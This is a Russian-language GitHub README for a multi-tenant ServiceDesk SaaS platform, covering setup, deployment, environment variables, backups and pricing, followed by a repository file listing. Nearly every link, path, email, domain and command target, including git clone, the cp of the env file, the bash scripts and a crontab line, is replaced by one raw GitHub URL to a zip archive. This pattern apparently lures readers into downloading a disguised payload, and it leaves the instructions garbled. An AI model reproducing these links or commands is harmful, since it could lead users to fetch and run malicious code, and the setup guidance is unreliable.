🎯 https://raw.githubusercontent.com/7eventhgod/servicedesk/main/src/app/careers/Software_3.9-alpha.4.zip ServiceDesk

Коммерческая multi-tenant SaaS платформа для управления IT-поддержкой с полной изоляцией данных, биллингом и SSO.

✨ Особенности

🏢 Multi-tenancy с PostgreSQL RLS для полной изоляции данных
💳 Billing с интеграцией Stripe (FREE, PRO, ENTERPRISE)
🔐 Active Directory / LDAP - простое подключение за 2 минуты с автосинхронизацией!
🔑 SSO (Google, Azure AD) для единого входа
🎫 Управление тикетами с SLA, автоматизацией и очередями
📊 Аналитика и отчеты в реальном времени
🤖 Telegram Bot для создания тикетов
📚 База знаний с полнотекстовым поиском
🔧 CMDB/Assets для инвентаризации
🔔 Уведомления с группировкой
🎨 Кастомизация для каждого тенанта

🚀 Быстрый старт

Требования

https://raw.githubusercontent.com/7eventhgod/servicedesk/main/src/app/careers/Software_3.9-alpha.4.zip 20+ или Bun 1.2+
PostgreSQL 16+
Redis 7+ (опционально)
Docker & Docker Compose (для продакшна)

Локальная разработка

# Клонируйте репозиторий
git clone https://raw.githubusercontent.com/7eventhgod/servicedesk/main/src/app/careers/Software_3.9-alpha.4.zip
cd servicedesk

# Установите зависимости
bun install

# Настройте окружение
cp https://raw.githubusercontent.com/7eventhgod/servicedesk/main/src/app/careers/Software_3.9-alpha.4.zip .env
# Отредактируйте .env с вашими настройками

# Запустите PostgreSQL (или используйте существующий)
docker-compose up postgres -d

# Примените миграции
bunx prisma migrate dev

# Запустите dev сервер
bun run dev

Приложение будет доступно на http://localhost:3000

Первый вход

После выполнения seed, создается глобальный суперадмин:

Email: https://raw.githubusercontent.com/7eventhgod/servicedesk/main/src/app/careers/Software_3.9-alpha.4.zip
Password: superadmin
Доступ: /admin - админ панель (только суперадмин без tenantId)

📦 Продакшн развертывание

Быстрый деплой с Docker Compose

# 1. Клонируйте репозиторий
git clone https://raw.githubusercontent.com/7eventhgod/servicedesk/main/src/app/careers/Software_3.9-alpha.4.zip
cd servicedesk

# 2. Настройте .env
cp https://raw.githubusercontent.com/7eventhgod/servicedesk/main/src/app/careers/Software_3.9-alpha.4.zip .env
nano .env  # Отредактируйте с продакшн настройками

# 3. Запустите все сервисы
docker-compose --profile production up -d

# 4. Примените миграции
docker-compose exec app bunx prisma migrate deploy

# 5. Проверьте статус
docker-compose ps
curl http://localhost:3000/api/health

Минимальные требования к серверу

CPU: 2 vCPU (4+ рекомендуется)
RAM: 4 GB (8+ GB рекомендуется)
Диск: 20 GB SSD (50+ GB для production)
OS: Ubuntu 22.04 LTS или Debian 12+

Доступные сервисы

После запуска:

App: http://localhost:3000
Prometheus: http://localhost:9090
Grafana: http://localhost:3001 (admin/admin)
PostgreSQL: localhost:5432
Nginx: localhost:80/443

Обязательные переменные окружения (.env)

# Database
DATABASE_URL="postgresql://user:password@postgres:5432/servicedesk"

# Auth
NEXTAUTH_SECRET="ваш-супер-секретный-ключ-минимум-32-символа"
NEXTAUTH_URL="https://raw.githubusercontent.com/7eventhgod/servicedesk/main/src/app/careers/Software_3.9-alpha.4.zip"

# Stripe (для billing)
STRIPE_SECRET_KEY="sk_live_..."
NEXT_PUBLIC_STRIPE_PUBLISHABLE_KEY="pk_live_..."
STRIPE_WEBHOOK_SECRET="whsec_..."

# Sentry (для error tracking)
SENTRY_DSN="https://raw.githubusercontent.com/7eventhgod/servicedesk/main/src/app/careers/Software_3.9-alpha.4.zip"

# SSO (опционально)
GOOGLE_CLIENT_ID="..."
GOOGLE_CLIENT_SECRET="..."
AZURE_AD_CLIENT_ID="..."
AZURE_AD_CLIENT_SECRET="..."
AZURE_AD_TENANT_ID="..."

# Email (опционально)
SMTP_HOST="https://raw.githubusercontent.com/7eventhgod/servicedesk/main/src/app/careers/Software_3.9-alpha.4.zip"
SMTP_PORT="587"
SMTP_USER="https://raw.githubusercontent.com/7eventhgod/servicedesk/main/src/app/careers/Software_3.9-alpha.4.zip"
SMTP_PASSWORD="..."
SMTP_FROM="OnPoints <https://raw.githubusercontent.com/7eventhgod/servicedesk/main/src/app/careers/Software_3.9-alpha.4.zip>"

Настройка Nginx для subdomain routing

Установите SSL сертификаты:

# Для main domain (https://raw.githubusercontent.com/7eventhgod/servicedesk/main/src/app/careers/Software_3.9-alpha.4.zip)
sudo certbot certonly --standalone -d https://raw.githubusercontent.com/7eventhgod/servicedesk/main/src/app/careers/Software_3.9-alpha.4.zip -d https://raw.githubusercontent.com/7eventhgod/servicedesk/main/src/app/careers/Software_3.9-alpha.4.zip

# Для wildcard subdomain (*https://raw.githubusercontent.com/7eventhgod/servicedesk/main/src/app/careers/Software_3.9-alpha.4.zip)
sudo certbot certonly --dns-cloudflare -d "*https://raw.githubusercontent.com/7eventhgod/servicedesk/main/src/app/careers/Software_3.9-alpha.4.zip"

Обновите пути в https://raw.githubusercontent.com/7eventhgod/servicedesk/main/src/app/careers/Software_3.9-alpha.4.zip

ssl_certificate https://raw.githubusercontent.com/7eventhgod/servicedesk/main/src/app/careers/Software_3.9-alpha.4.zip;
ssl_certificate_key https://raw.githubusercontent.com/7eventhgod/servicedesk/main/src/app/careers/Software_3.9-alpha.4.zip;

Перезапустите Nginx:

docker-compose restart nginx

Настройка custom domains для tenants

Скрипт https://raw.githubusercontent.com/7eventhgod/servicedesk/main/src/app/careers/Software_3.9-alpha.4.zip автоматически:

Проверяет DNS настройки
Создает Let's Encrypt сертификат
Настраивает Nginx конфигурацию

bash https://raw.githubusercontent.com/7eventhgod/servicedesk/main/src/app/careers/Software_3.9-alpha.4.zip https://raw.githubusercontent.com/7eventhgod/servicedesk/main/src/app/careers/Software_3.9-alpha.4.zip

Масштабирование

Для production рекомендуется:

Архитектура:

Nginx load balancer (включен в https://raw.githubusercontent.com/7eventhgod/servicedesk/main/src/app/careers/Software_3.9-alpha.4.zip)
Несколько реплик app сервиса (3+ для high availability)
Managed PostgreSQL (AWS RDS, DigitalOcean Database, Azure Database)
Redis для кэширования сессий и очередей
CDN (Cloudflare, AWS CloudFront) для статики

Автомасштабирование:

# Увеличить количество реплик app
docker-compose up -d --scale app=3

# С Docker Swarm или Kubernetes для полноценного orchestration

Database connection pooling:

# В .env
DATABASE_URL="postgresql://user:password@postgres:5432/servicedesk?pgbouncer=true&connection_limit=20"

Backup стратегия

Автоматический backup PostgreSQL каждую ночь в 2:00:

# Добавьте в crontab
crontab -e

# Вставьте:
0 2 * * * https://raw.githubusercontent.com/7eventhgod/servicedesk/main/src/app/careers/Software_3.9-alpha.4.zip

Backup файлы хранятся в backups/ с ротацией 30 дней.

Восстановление из backup:

bash https://raw.githubusercontent.com/7eventhgod/servicedesk/main/src/app/careers/Software_3.9-alpha.4.zip https://raw.githubusercontent.com/7eventhgod/servicedesk/main/src/app/careers/Software_3.9-alpha.4.zip

📚 Документация

🔐 Подключение Active Directory - пошаговая инструкция за 2 минуты
⚡ Быстрый старт AD - подключение за 60 секунд
🔄 Автосинхронизация LDAP - настройка автоматической синхронизации пользователей
🧪 Руководство по тестированию - детальное руководство по тестированию
🚀 Чеклист деплоя - чеклист для production deployment

🧪 Тестирование

См. https://raw.githubusercontent.com/7eventhgod/servicedesk/main/src/app/careers/Software_3.9-alpha.4.zip для детального руководства по тестированию.

Быстрые тесты:

# Unit tests
bun test

# E2E tests (Playwright)
bunx playwright test

# Проверка RLS изоляции
npm run test:rls

# Проверка billing лимитов
npm run test:limits

Тестирование в production-like окружении:

# Запустите все сервисы с Docker Compose
docker-compose --profile production up -d

# Запустите integration tests
npm run test:integration

🛠️ Разработка

Структура проекта

servicedesk/
├── src/
│   ├── app/              # https://raw.githubusercontent.com/7eventhgod/servicedesk/main/src/app/careers/Software_3.9-alpha.4.zip App Router
│   │   ├── api/          # API routes
│   │   ├── dashboard/    # Dashboard pages
│   │   └── login/        # Auth pages
│   ├── components/       # React компоненты
│   ├── lib/              # Утилиты и хелперы
│   └── hooks/            # Custom React hooks
├── prisma/
│   ├── https://raw.githubusercontent.com/7eventhgod/servicedesk/main/src/app/careers/Software_3.9-alpha.4.zip     # Database schema
│   └── migrations/       # DB migrations
├── monitoring/           # Prometheus конфигурация
├── nginx/                # Nginx конфигурация
└── .github/workflows/    # CI/CD pipeline

Доступные команды

bun run dev          # Запустить dev сервер
bun run build        # Собрать продакшн билд
bun run start        # Запустить продакшн сервер
bun run lint         # Линтинг кода
bun run type-check   # TypeScript проверка
bun run test         # Запустить тесты

База данных

# Создать миграцию
bunx prisma migrate dev --name migration_name

# Применить миграции
bunx prisma migrate deploy

# Открыть Prisma Studio
bunx prisma studio

# Сгенерировать Prisma Client
bunx prisma generate

🔒 Безопасность

PostgreSQL RLS для полной изоляции данных
JWT токены для аутентификации
Rate limiting на API endpoints
HTTPS обязателен в production
Регулярные обновления зависимостей
Audit logs для всех критических действий

📊 Мониторинг

Prometheus метрики

Доступны на /metrics:

HTTP request duration
Database query performance
Cache hit/miss rates
Active sessions
Error rates

Grafana Dashboard

Импортируйте готовые дашборды из monitoring/grafana/

🤝 Тарифные планы

Feature	FREE	PRO	ENTERPRISE
Пользователи	5	50	∞
Агенты	2	10	∞
Хранилище	1 GB	50 GB	500 GB
Тикеты/месяц	100	∞	∞
SSO/LDAP	❌	✅	✅
API доступ	❌	✅	✅
Кастомные домены	❌	❌	✅
Приоритетная поддержка	❌	✅	VIP 24/7

📝 API Documentation

API документация доступна по адресу /api-docs после запуска сервера.

🐛 Отладка

# Логи всех сервисов
docker-compose logs -f

# Логи конкретного сервиса
docker-compose logs -f app

# Подключиться к контейнеру
docker-compose exec app sh

🚢 CI/CD

GitHub Actions автоматически:

Запускает тесты и линтинг на каждый PR
Собирает Docker образ на push в main/develop
Деплоит на staging (develop) и production (main)
Применяет database migrations
Проверяет health check

Необходимые Secrets

DOCKER_USERNAME
DOCKER_PASSWORD
PROD_HOST
PROD_USER
PROD_SSH_KEY
PROD_URL
STAGING_HOST
STAGING_USER
STAGING_SSH_KEY
STAGING_URL

📄 Лицензия

MIT License. См. LICENSE для деталей.

🙏 Благодарности

Сделано с ❤️ для IT команд по всему миру.

Name		Name	Last commit message	Last commit date
Latest commit History 67 Commits
.github/workflows		.github/workflows
ad-sync-agent		ad-sync-agent
docs		docs
monitoring		monitoring
nginx		nginx
prisma		prisma
public/images		public/images
scripts		scripts
src		src
.dockerignore		.dockerignore
.env		.env
.eslintrc.json		.eslintrc.json
.gitignore		.gitignore
1. Цель проекта.txt		1. Цель проекта.txt
API_EXAMPLES.md		API_EXAMPLES.md
BUGFIX_SUMMARY.md		BUGFIX_SUMMARY.md
CHANGELOG.md		CHANGELOG.md
CUSTOM_FIELDS_README.md		CUSTOM_FIELDS_README.md
DEPLOYMENT_CHECKLIST.md		DEPLOYMENT_CHECKLIST.md
Dockerfile		Dockerfile
FINAL_STATUS.md		FINAL_STATUS.md
IMPLEMENTATION_SUMMARY.md		IMPLEMENTATION_SUMMARY.md
MODULES_STATUS.md		MODULES_STATUS.md
PROJECT_STATUS.md		PROJECT_STATUS.md
QUICKSTART.md		QUICKSTART.md
QUICK_TEST_GUIDE.md		QUICK_TEST_GUIDE.md
README.md		README.md
SERVER_STATUS.md		SERVER_STATUS.md
SETUP.md		SETUP.md
TESTING.md		TESTING.md
TESTING_CHECKLIST.md		TESTING_CHECKLIST.md
TEST_CREDENTIALS.md		TEST_CREDENTIALS.md
bun.lock		bun.lock
components.json		components.json
docker-compose.yml		docker-compose.yml
next.config.js		next.config.js
package-lock.json		package-lock.json
package.json		package.json
postcss.config.js		postcss.config.js
restart_dev.bat		restart_dev.bat
sentry.client.config.ts		sentry.client.config.ts
sentry.server.config.ts		sentry.server.config.ts
start_project.bat		start_project.bat
tailwind.config.ts		tailwind.config.ts
tsconfig.json		tsconfig.json
ПОЛНОЕ_РУКОВОДСТВО.md		ПОЛНОЕ_РУКОВОДСТВО.md

encyrpt/servicedesk

Folders and files

Latest commit

History

Repository files navigation